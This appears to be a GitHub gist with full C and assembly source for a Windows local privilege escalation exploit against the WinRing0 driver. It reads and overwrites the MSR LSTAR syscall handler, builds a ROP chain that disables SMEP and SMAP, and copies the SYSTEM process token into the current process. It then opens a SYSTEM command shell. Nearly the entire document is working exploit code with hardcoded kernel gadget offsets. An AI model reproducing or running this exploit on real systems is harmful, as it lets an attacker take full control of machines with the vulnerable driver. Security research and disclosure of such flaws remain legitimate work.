Skip to content

Instantly share code, notes, and snippets.

@NSG650
Last active April 21, 2025 08:19
Show Gist options
  • Save NSG650/aac65399bbe74519636efc0a651c0425 to your computer and use it in GitHub Desktop.
Save NSG650/aac65399bbe74519636efc0a651c0425 to your computer and use it in GitHub Desktop.
WinRing0 LPE using MSR write https://nsg650.github.io/blogs/28-9-2024.html
#include <windows.h>
#include <Psapi.h>
#include <stdio.h>
#define OLS_TYPE 40000
#define IOCTL_OLS_GET_DRIVER_VERSION \
CTL_CODE(OLS_TYPE, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_OLS_READ_MSR \
CTL_CODE(OLS_TYPE, 0x821, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_OLS_WRITE_MSR \
CTL_CODE(OLS_TYPE, 0x822, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define MSR_LSTAR 0xC0000082
#define POP_RCX_RET_GADGET 0x00313579
#define MOV_CR4_RCX_RET_GADGET 0x00382eb7
#define SYSRET_GADGET 0x00af5e1c
typedef struct _OLS_WRITE_MSR_INPUT {
ULONG Register;
ULARGE_INTEGER Value;
} OLS_WRITE_MSR_INPUT;
extern VOID RopAndRoll(VOID);
ULONGLONG GetKernelBase(VOID) {
LPVOID DriverBases[1024] = {0};
DWORD Needed = 0;
if (!EnumDeviceDrivers(DriverBases, sizeof(DriverBases), &Needed)) {
return 0;
}
return (ULONGLONG)DriverBases[0];
}
ULONGLONG KernelBase = 0;
extern ULONGLONG KiSystemCall64;
extern ULONGLONG KernelPopRcxRet;
extern ULONGLONG KernelMovCr4RcxRet;
extern ULONGLONG KernelSysret;
INT main(void) {
HANDLE HandleToWinRing0 =
CreateFileA("\\\\.\\WinRing0_1_2_0", GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (HandleToWinRing0 == INVALID_HANDLE_VALUE) {
printf("[!] Failed to get handle to WinRing0\n");
return 1;
}
printf("[+] Got handle to the WinRing0 driver\n");
KernelBase = GetKernelBase();
if (KernelBase == 0) {
printf("[!] Failed to get kernel base\n");
return 1;
}
printf("[+] Kernel base at 0x%llx\n", KernelBase);
ULARGE_INTEGER Msr = {0};
ULONG Lstar = MSR_LSTAR;
DWORD Temp = 0;
if (!DeviceIoControl(HandleToWinRing0, IOCTL_OLS_READ_MSR, &Lstar,
sizeof(Lstar), &Msr, sizeof(Msr), &Temp, NULL)) {
printf("[!] Failed to read MSR LSTAR register\n");
return 1;
}
printf("[+] Successfully read MSR LSTAR value: 0x%llx\n", Msr.QuadPart);
KiSystemCall64 = Msr.QuadPart;
KernelPopRcxRet = KernelBase + POP_RCX_RET_GADGET;
KernelMovCr4RcxRet = KernelBase + MOV_CR4_RCX_RET_GADGET;
KernelSysret = KernelBase + SYSRET_GADGET;
printf("[*] POP RCX gadget at 0x%llx\n", KernelPopRcxRet);
printf("[*] MOV CR4, RCX gadget at 0x%llx\n", KernelMovCr4RcxRet);
printf("[*] SYSRET gadget at 0x%llx\n", KernelSysret);
OLS_WRITE_MSR_INPUT WriteMsr = {0};
WriteMsr.Register = MSR_LSTAR;
WriteMsr.Value.HighPart = KernelPopRcxRet >> 32;
WriteMsr.Value.LowPart = KernelPopRcxRet & 0xffffffff;
printf("[*] Overwriting the syscall handler and running the rop chain\n");
// We do NOT want something else to be schedule and screw up the exploit
DWORD OldPriorityClass = GetPriorityClass(GetCurrentProcess());
DWORD OldThreadPriority = GetThreadPriority(GetCurrentThread());
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
if (!DeviceIoControl(HandleToWinRing0, IOCTL_OLS_WRITE_MSR, &WriteMsr,
sizeof(WriteMsr), &Temp, sizeof(Temp), &Temp, NULL)) {
printf("[!] Failed to write MSR LSTAR register");
return 1;
}
RopAndRoll();
CloseHandle(HandleToWinRing0);
SetPriorityClass(GetCurrentProcess(), OldPriorityClass);
SetThreadPriority(GetCurrentThread(), OldThreadPriority);
printf("[+] We should have SYSTEM now!\n");
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
if (CreateProcessA("C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL,
FALSE, 0, NULL, "C:\\Windows\\system32", &si, &pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
return 0;
}
BITS 64
section .data
global KernelPopRcxRet
KernelPopRcxRet dq 0
global KernelMovCr4RcxRet
KernelMovCr4RcxRet dq 0
global KernelSysret
KernelSysret dq 0
global KiSystemCall64
KiSystemCall64 dq 0
section .text
SyscallHandler:
swapgs
mov rax, [gs:0x188] ; Current thread -> _KTHREAD
mov rax, [rax + 0xb8] ; Current process -> _EPROCESS
mov r8, rax ; Move current process' _EPROCESS to r8
__loop:
mov rax, [rax + 0x448] ; ActiveProcessLinks
sub rax, 0x448 ; Return to current process -> _EPROCESS
mov rcx, [rax + 0x440] ; UniqueProcessId (PID)
cmp rcx, 4 ; Compare PID to SYSTEM process PID (0x4)
jnz __loop ; Iterate over EPROCESS nodes until SYSTEM PID is located
mov r9, [rax + 0x4b8] ; _EPROCESS + 0x4b8 -> token
mov [r8 + 0x4b8], r9 ; Copy SYSTEM token to current process
; Restore the original syscall handler
mov r12, [rel KiSystemCall64]
mov ecx, 0xc0000082
mov rdx, r12
shr rdx, 32
mov rax, r12
and rax, 0xffffffff
wrmsr
swapgs
ret
global RopAndRoll
RopAndRoll:
push r10
pushfq
mov r10, rcx
mov r11, [rel KernelSysret]
push r11
lea rax, finish
push rax
mov r11, [rel KernelPopRcxRet]
push r11
mov r11, [rel KernelMovCr4RcxRet]
push r11
push 0xb50ef8 ; We can guess the cr4 value later on
mov r11, [rel KernelPopRcxRet]
push r11
lea rax, SyscallHandler
push rax
mov r11, [rel KernelMovCr4RcxRet]
push r11
push 0xa50ef8 ; cr4 with SMEP disabled
pushfq ; setting the AC bit disables SMAP
pop rax
or rax, 0x40000
push rax
popfq
syscall
finish:
popfq
pop r10
ret
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment